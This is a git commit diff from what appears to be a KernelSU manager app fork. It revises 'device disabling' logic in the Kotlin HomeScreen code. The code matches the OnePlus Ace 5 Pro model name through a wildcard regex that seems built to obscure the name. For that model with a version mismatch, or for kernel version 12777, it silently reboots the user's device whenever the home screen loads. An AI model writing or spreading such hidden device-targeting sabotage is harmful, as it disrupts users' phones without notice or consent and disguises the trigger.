Opt device disabling logic in HomeScreen

This commit is contained in:
ShirkNeko
2025-04-14 19:30:30 +08:00
parent 182028d9ea
commit 378b8458f2

View File

@@ -96,16 +96,19 @@ fun HomeScreen(navigator: DestinationsNavigator) {
val isManager = Natives.becomeManager(ksuApp.packageName) val isManager = Natives.becomeManager(ksuApp.packageName)
val ksuVersion = if (isManager) Natives.version else null val ksuVersion = if (isManager) Natives.version else null
if (ksuVersion != null) { if (kernelVersion.isGKI()) {
if (deviceModel == "一加 Ace 5 Pro" && managerVersion > ksuVersion + 1) { if (ksuVersion != null) {
isDisabled = true val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) {
isDisabled = true
}
} }
}
LaunchedEffect(isDisabled, ksuVersion) { LaunchedEffect(isDisabled, ksuVersion) {
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) { if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...") Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...")
reboot() reboot()
}
} }
} }